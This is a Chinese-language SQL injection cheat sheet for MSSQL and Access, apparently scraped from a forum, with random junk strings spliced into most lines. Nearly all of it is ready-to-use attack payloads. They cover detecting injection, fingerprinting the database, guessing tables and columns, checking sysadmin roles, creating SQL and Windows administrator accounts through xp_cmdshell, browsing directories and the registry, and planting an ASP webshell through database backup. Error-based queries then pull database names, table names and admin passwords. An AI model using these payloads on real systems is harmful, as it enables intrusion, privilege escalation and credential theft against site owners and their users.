1.判断是否有注入
: q1 ^0 f8 r( z# q; m, v;and 1=1
& p8 ~1 \7 h v& `" [;and 1=2 ' G z) V; I0 C- V$ M- R
% X/ ^, {3 g' E$ [
2.初步判断是否是mssql $ a: i1 F1 ?8 s6 j" M. o Z# v @1 T
;and user>0
( I/ l8 l2 p: V8 M. j0 V- H7 a8 L5 S. F
3.判断数据库系统 ( L% n& T" n& u" k# G
;and (select count(*) from sysobjects)>0 mssql * g- n9 _0 n: C
;and (select count(*) from msysobjects)>0 access
! B$ \) B& a" V7 F- S% t1 {' k& D' s
4.注入参数是字符 " k0 b0 ^& X9 x$ o& i# f8 J
'and [查询条件] and ''='
- p# H, e$ n+ ~2 R) c1 z' H- \8 T! W4 G! ^' E: W
5.搜索时没过滤参数的 * Y3 M! K+ [# \/ K- A8 v9 `8 }
'and [查询条件] and '%25'=' 8 _2 G) L5 R& E u) ~' T2 M0 h
, B+ v) D$ X A+ U7 |+ B* s% p# P, w
6.猜数表名
. M! u, A5 f- E5 B2 w# t1 X& J;and (select Count(*) from [表名])>0
! v9 p0 i- _" U6 b/ U5 d" D; D3 t8 X5 z
7.猜字段
q/ G. Q: o0 ?( V0 ~! d;and (select Count(字段名) from 表名)>0 9 L8 N0 Y+ j* o) g# E
% C% m W6 ] z! s* h2 b
8.猜字段中记录长度 9 n, K: i. o' @4 K) T
;and (select top 1 len(字段名) from 表名)>0 , d: \* _* q3 g/ M; D7 e
1 Y9 ~8 W5 ~9 d$ y6 g( \+ w6 x
9.(1)猜字段的ascii值(access) 8 J3 e) W% l4 o0 Y4 ?/ S
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 % Q5 W9 @7 a, c% _( \5 q5 h
& I# x# ~2 B8 ~8 C# l
(2)猜字段的ascii值(mssql)
0 y! j) i" [0 D2 h: m: A;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
$ J: }2 g9 Q7 m: r* ~1 P1 P9 I) U2 ^( O6 t+ x. P9 ]4 B7 z
10.测试权限结构(mssql)
' s8 B% Y! [/ m: X- I( o1 I2 I1 C;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 Y B0 a1 x: w( b( Z/ W;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 5 v& x; ]# r- W7 P
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
& \2 a, {$ {( Z7 K/ c S;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
: n* ]) E' Y6 {0 O; s;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ( x$ j# p; U+ K
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) ^5 a* e3 z" q;and 1=(select IS_MEMBER('db_owner'));--
- U3 X" H# Z4 a$ P9 {
( g/ V% p; p* \' B3 h* t5 ^0 a11.添加mssql和系统的帐户 . f: Y) d+ K3 M! g: M! m5 x H
;exec master.dbo.sp_addlogin username;-- : ~0 A: B& t9 Y7 {% a
;exec master.dbo.sp_password null,username,password;--
) ?5 f; Q8 f' l$ X; r;exec master.dbo.sp_addsrvrolemember sysadmin username;--
, o. Y" n9 d. ^1 @( E;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
, Z' w. C" R9 a) g6 W/ k) W;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5 X7 G/ ~ b- x- m/ y, p. \
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 6 B" {$ Q* k8 L
N q4 k$ r- r
12.(1)遍历目录
3 |6 H; h J# p8 P# t;create table dirs(paths varchar(100), id int)
! \8 ~* d! d. _+ M/ J( H7 Z, |;insert dirs exec master.dbo.xp_dirtree 'c:\'
( B% J) R/ G/ r- t! B# }5 h;and (select top 1 paths from dirs)>0 / r: c2 K V1 j2 Q. U4 k; f1 n
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
5 E; c5 g8 l8 H" v! r3 k9 k3 D, h' m" E# y$ G
(2)遍历目录 * E) ]) _$ y6 |. d+ T
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
' |+ u+ q" M# w* C' K0 W;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ! Y$ e$ _5 x2 v/ b0 T2 V/ C+ i {" b
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 & u+ @+ f! |: G) j+ D d, e
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
4 {& f+ L, H) |7 H# V9 };insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 P6 k% W5 o; l- `6 q
& F) z% I U% @$ B, _3 a13.mssql中的存储过程
& N% f' ]$ t! I! ]0 V6 ~: ^xp_regenumvalues 注册表根键, 子键 * Q: A8 J0 E; G" S9 w n' M1 _. K
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 - Q1 l* l" R) U" Z- e6 L2 O/ }
xp_regread 根键,子键,键值名
6 l( Z2 ^; ^2 X3 Y. Y3 Q9 K p;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 s& [1 Y4 O0 Z& H9 C& v& B
xp_regwrite 根键,子键, 值名, 值类型, 值
! [8 x2 s* M$ @值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
6 m7 @ C# L# _& `4 ~2 E1 c. F+ Z4 `;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
$ ?* P0 C3 F/ J3 G! U- Mxp_regdeletevalue 根键,子键,值名 4 `: Q* S- T: ^: q* e
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 + T! I, c9 x0 v+ O: ]; k% O) H9 h
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 4 \2 ]2 E9 i) y! ]% {$ H
+ D: I' l. l" ^3 E* C4 u& B
14.mssql的backup创建webshell
~ [) V; t; C- |, Suse model D/ C3 q) P! O8 x- @, f
create table cmd(str image);
. k/ d9 d% v( U. D# I: q0 |! Linsert into cmd(str) values ('<% Dim oScript %>'); % ^0 U6 x; k9 h/ r$ K/ o, Y" i, R9 z) Y
backup database model to disk='c:\l.asp';
- Y7 E! e, @9 `* g- [# m
- S1 i7 {5 z9 P, P9 B15.mssql内置函数 # E& x$ _# J. o3 b+ X( H: p# [# B
;and (select @@version)>0 获得Windows的版本号 * }. {* S z+ t3 A! z5 j
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2 h S3 D: o, w$ e" B- M
;and (select user_name())>0 爆当前系统的连接用户
# x' _9 m6 |8 |* I# f4 b: f;and (select db_name())>0 得到当前连接的数据库 $ h( k5 Y {7 n/ b) | {
. Y& F$ ^- b0 X3 o+ Z O3 R" W2 `, y) ]( f7 ^+ ]
3 A3 R' v. G5 |# w, V. m( N& u$ r
MSSQL手注暴库5 h, u/ |: Q, l: c+ K
0 u0 R0 `% _3 O3 b
1.暴出当前表名和列名3 s" f/ W; [6 a3 ~, S% t- P
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
4 H) s6 i* o( B5 V2 Z% u- F0 K' W4 k3 g7 b7 ?
第一.爆出所有数据库名- `4 t' e9 W3 a3 }/ ~
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。) H* B" S5 o% e' Q ?
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
% U0 q4 a ?$ S7 x* S; W; N
/ o. ~, o! U0 o3 ]and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
% {2 ?. a- K& S" m% i& S- d8 o8 W
) d0 o( ?& D( V3 n. S7 A2 [- [. H" q. R% V3 T* p* e
第二.爆出指定库中的所有表名
8 `1 x, D& h3 _6 t得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。2 D. o6 y! l) f4 t. ]
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。4 k2 ?+ G% F3 X6 ?1 Z
$ e* ?% _) q5 ~4 C$ U- [9 i* ]' iand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
( ^: c/ }; U q9 T" a- B3 @and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
4 ^' q* z: E4 vand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--& H* O8 Y8 X8 {; x
/ b, ?! W, [# r( Z- _
4.爆出指定表中的所有列名, b/ x( o) A `5 Q5 F# ^
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 0 L3 [' J4 _& g4 H$ P! e
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'4 z2 m/ {$ h( G4 P
, B- _3 _; {) x8 |4 w) n, Z
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
/ i3 x# \6 S4 U& K- c' G( k5 z2 A: A" f+ y Q3 J
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ; \' {, W) {" m- r: @
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。7 \& L( w" s1 ^, F D
/ A3 d, e6 ?( ~, U) Q+ ]9 F# d. y& u
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
1 U U3 e; y1 i) F8 ^! [6 |4 Q, K) e5 W" F5 Q0 K4 x, m0 Z5 n$ B6 r
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名 T# ~, o- l" J# m8 ?+ q; g
" C* N% } |1 oand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
/ n# ~6 r' z5 ~ P' U# S$ Q' I( H$ E" w) O9 M) s& Q- J
% K. @2 M b# v/ ?5 f6 j
& }" j% U+ l l1 l/ l5 R/ S5.读取指定表中的数据2 }4 P, E W. X. H
: z: v9 ]( Q$ i1 ?
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
5 D$ D/ }2 Z4 F# C# H7 ?7 k9 b4 l. k3 Q- j
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
: }/ P( A* I" _4 |# Y8 T* F! f. I: n, C5 w7 ^( e1 R& M
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码6 J, o+ X4 F# ^6 z
Z6 i2 W3 k) B$ t2 W- Y. L1 ]
6 G$ v4 R' \) t3 P) }and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
( |8 \ Y S1 y& [/ ^# T n. o% v. \6 f4 s- E
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)1 `' M: {" w6 J2 B0 s
3 d% Q/ L; W, Gand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
3 I5 y& V: S* d) }7 D) t [0 k$ W! T2 t
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。0 i) [7 ?) f! C* x2 t
|